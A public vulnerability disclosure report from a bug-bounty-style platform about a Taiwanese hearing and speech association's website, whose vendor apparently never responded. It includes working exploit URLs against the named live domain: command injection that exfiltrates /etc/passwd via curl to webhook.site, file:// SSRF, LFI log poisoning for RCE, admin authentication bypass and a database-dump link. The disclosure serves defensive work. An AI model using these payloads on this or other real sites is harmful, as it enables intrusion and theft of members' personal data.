台灣聽力語言學會 任意檔案下載、SSRF、命令注入、IDOR、任意檔案上傳、Blind XSS、LFI、超全域變數汙染導致開放重定向、存取控制缺陷、CSRF與RCE等一系列漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00119
  •  發信 Vendor: 台灣聽力語言學會
  • Title: 台灣聽力語言學會 任意檔案下載、SSRF、命令注入、IDOR、任意檔案上傳、Blind XSS、LFI、超全域變數汙染導致開放重定向、存取控制缺陷、CSRF與RCE等一系列漏洞
  • Introduction: 網站因使用許多不安全的函數和寫法,又未對使用者輸入做充分檢查,導致如任意檔案下載、SSRF、LFI、命令注入、變數汙染、任意檔案上傳等漏洞,並且不同漏洞結合還可進一步造成開放重定向、存取控制缺陷、RCE、CSRF等

處理狀態

目前狀態

公開
Last Update : 2025/04/05
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/02/03 10:38:19 : 新提交 (由 {{萌新}} 更新此狀態)
  • 2025/02/03 14:35:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/02/06 17:16:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/02/06 17:16:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/04/05 03:03:27 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00119
  • 通報者:nhd1261 ({{萌新}})
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.slh.org.tw/download.php?fn=download.php&url=download.php
https://slh.org.tw/actives_pdf.php?id=
https://www.slh.org.tw/actives_pdfcontent.php?id=
https://www.slh.org.tw/index.php

敘述

網站因使用許多不安全的函數和寫法,又未對使用者輸入做充分檢查,導致如任意檔案下載、SSRF、LFI、命令注入、變數汙染、任意檔案上傳等漏洞,並且不同漏洞結合還可進一步造成開放重定向、存取控制缺陷、RCE、CSRF等,以下為僅舉例我發現的幾個較為嚴重的漏洞,但網站實際漏洞不只這些。

任意檔案下載與SSRF:
downlaod.php存在任意檔案下載與LFI,透過url參數可以下載網站根目錄下的任意檔案。

echo file_get_contents($url);

並且由於allow_url_fopen=on,還可以以此SSRF,對外發出請求或讀取伺服器檔案,但因安全設置,無法直接讀取如/etc/passwd等重要檔案,但確定file協議可用。
https://www.slh.org.tw/download.php?fn=download.php&url=download.php
https://www.slh.org.tw/download.php?fn=index.php&url=file:///var/www/vhosts/slh.org.tw/httpdocs/index.php
圖片

命令注入與IDOR:
發現網站有一個申請參加證明的功能,審計代碼後發現是根據id動態產生html再透過exec()使用wkhtmltopdf命令製作pdf,但id參數未經檢查直接拼接進$web_addr變數,再拼接進exec()中,因此可造成命令注入,而生成參加證明的頁面則能IDOR id參數看到別人的參加證明。
actives_pdf.php的這一行造成命令注入:

exec('/usr/local/bin/wkhtmltopdf --print-media-type --orientation portrait -s A4 "'.$web_addr.'" '.$pdf_file );

因為命令沒有回顯,所以透過curl將命令結果傳到webhook,讀取/etc/passwd會觸發防火牆,所以使用萬用符號繞過。
https://slh.org.tw/actives_pdf.php?id=%22;%20id%20|%20curl%20-X%20POST%20--data-binary%20@-%20https://webhook.site/{這裡要修改成自己的webhook url} ; "
https://slh.org.tw/actives_pdf.php?id=%22;%20cat%20/e*c/pa*swd%20|%20curl%20-X%20POST%20--data-binary%20@-%20https://webhook.site/{這裡要修改成自己的webhook url} ; "
圖片
圖片
IDOR遍歷id:
https://www.slh.org.tw/actives_pdfcontent.php?id={透過遍歷id參數可以看到所有人的參加證明}

LFI與超全域變數污染:
審計index.php和其他部分頁面源碼時發現,網站設計存在兩個嚴重漏洞,並且可以結合引申出更多漏洞。
網站do與act參數直接拼接進include,可以LFI,雖然因有open_basedir設定,且有後綴.php,無法存取伺服器檔案,但也能引入網站內其他php檔。
而部分頁面內居然使用 extract($_GET); 接收get參數,這導致使用者可以透過傳入的get參數直接修改網站的超全域變數,經測試此漏洞可以修改當前session、資料庫連線設定等諸多重要變數,造成程式邏輯被破壞,引發一系列漏洞,如繞過部分安全檢查、繞過部分身分驗證、Open Redirect、CSRF、存取控制缺陷等,由於結合LFI與前述其他漏洞,可以利用的攻擊方式過多,以下僅舉例部分利用方式。

由於網站是透過拼接do、act參數與$rootpath全域變數,拼接成一個$subpage變數,再用include引入subpage指定的檔案,而透過輸入一個不存在的do值,使subpage為空,再透過get輸入subpage,就能繞過.php後墜,引入任意檔案類型,如果不是allow_url_include設定為off,這一步就能RFI to RCE了。
https://www.slh.org.tw/index.php?do=aaaaa&subpage=home.php

透過修改全域變數rooturl,將可以重定向到任意網站。
https://www.slh.org.tw/login.code.php?do=logout&rooturl=https://www.google.com.tw/
而經過測試,還可以以此修改session變數,繞過部分身分驗證或造成CSRF。

審計後臺頁面源碼時,發現後台是透過引入/_ozman/comm.inc.php這個檔案去驗證身分,但若是在index.php引入後台頁面/_ozman/index.php,引入的設定檔案會從/_ozman/comm.inc.php變成/comm.inc.php,以此繞身分驗證,存取後臺功能,或是看到會員訊息等,例如:
https://www.slh.org.tw/index.php?do=_ozman&type=contact&cn=message
https://www.slh.org.tw/index.php?do=_ozman&type=news&act=list&cn=news&tpid=5&pid=51
https://www.slh.org.tw/index.php?do=_ozman/list2&type=member&cn=member
圖片
並且還發現一個資料庫備份功能,透過LFI引入後可以直接dump整個資料庫。
https://www.slh.org.tw/index.php?do=_ozman/dbback

而此LFI最嚴重的漏洞是可以引入log檔,並且使用者可以傳送含有惡意php代碼的user-agent表頭請求(例如<?php phpinfo() ?>),汙染log檔案,再透過變數汙染與LFI引入造成RCE。
https://www.slh.org.tw/index.php?do=aaa&subpage=../logs/access_ssl_log
圖片

任意檔案上傳導致RCE、Blind XSS:
通過前述dump出的資料庫,找到後台登入帳密,查看後台時發現下載檔案的上傳功能未進行任何檔案檢查,可以直接上傳shell,造成RCE。
而查看rss訂閱紀錄時發現網站以前被攻擊過,訂閱紀錄中有SQLi和XSS攻擊的痕跡,並且XSS有被觸發,可以透過訂閱輸入的email植入XSS,盜取管理員cookie,我估計留言功能也可以達到一樣的效果。

其他的漏洞:
網站對 SQLi(SQL Injection)的防護機制不完善,僅使用 addslashes() 為輸入值添加反斜線,這種方法存在嚴重安全隱患。例如,在某些情境下可能被寬字節注入(Wide Byte Injection)繞過。此外,對於數字類型的參數,這種防護措施完全無效,攻擊者仍可直接構造惡意SQL查詢。而網站帳號(身分證英文字母+後4碼)與預設密碼(0100)的強度很低,也發現很多人沒有改預設密碼,且重製密碼的邏輯過於簡單,有被暴力破解的可能。另外網站很多檔案的權限沒有設置好,若知道路徑,就可以直接訪問,比如一些sql備份檔案。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;